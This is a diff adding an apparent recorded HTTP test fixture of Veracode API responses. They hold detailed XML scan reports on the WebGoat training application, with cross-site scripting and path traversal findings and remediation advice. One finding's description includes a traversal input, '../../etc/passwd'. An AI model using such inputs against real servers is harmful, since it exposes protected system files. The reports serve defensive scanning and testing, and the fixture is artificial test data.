+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:13:47 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:15:13 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:15:13 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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